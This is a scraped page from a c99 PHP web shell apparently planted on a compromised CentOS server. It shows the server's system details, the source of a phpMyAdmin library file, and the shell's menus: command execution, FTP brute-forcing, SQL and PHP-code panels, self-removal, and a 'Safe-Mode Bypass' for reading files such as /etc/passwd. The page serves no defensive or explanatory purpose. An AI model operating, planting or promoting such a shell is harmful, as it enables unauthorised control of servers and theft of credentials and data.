!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 52.35 GB of 127.8 GB (40.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     db_table_exists.lib.php (2.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
back to the welcome page if (! defined('IS_TRANSFORMATION_WRAPPER')) { $url_params = array('reload' => 1); if (isset($message)) { $url_params['message'] = $message; } PMA_sendHeaderLocation( $cfg['PmaAbsoluteUri'] . 'main.php' . PMA_generate_common_url($url_params, '&')); } exit; } } // end if (ensures db exists) if (empty($is_table)) { // Not a valid table name -> back to the db_details.php if (isset($table) && strlen($table)) { $_result = PMA_DBI_try_query( 'SHOW TABLES LIKE \'' . PMA_sqlAddslashes($table, true) . '\';', null, PMA_DBI_QUERY_STORE); $is_table = @PMA_DBI_num_rows($_result); PMA_DBI_free_result($_result); } else { $is_table = false; } if (! $is_table) { if (! defined('IS_TRANSFORMATION_WRAPPER')) { if (isset($table) && strlen($table)) { // SHOW TABLES doesn't show temporary tables, so try select // (as it can happen just in case temporary table, it should be // fast): // @todo should this check really only happen if IS_TRANSFORMATION_WRAPPER? $_result = PMA_DBI_try_query( 'SELECT COUNT(*) FROM `' . PMA_sqlAddslashes($table, true) . '`;', null, PMA_DBI_QUERY_STORE); $is_table = ($_result && @PMA_DBI_num_rows($_result)); PMA_DBI_free_result($_result); } if (! $is_table) { $url_params = array('reload' => 1, 'db' => $db); if (isset($message)) { $url_params['message'] = $message; } PMA_sendHeaderLocation( $cfg['PmaAbsoluteUri'] . 'db_details.php' . PMA_generate_common_url($url_params, '&')); } } if (! $is_table) { exit; } } } // end if (ensures table exists) ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--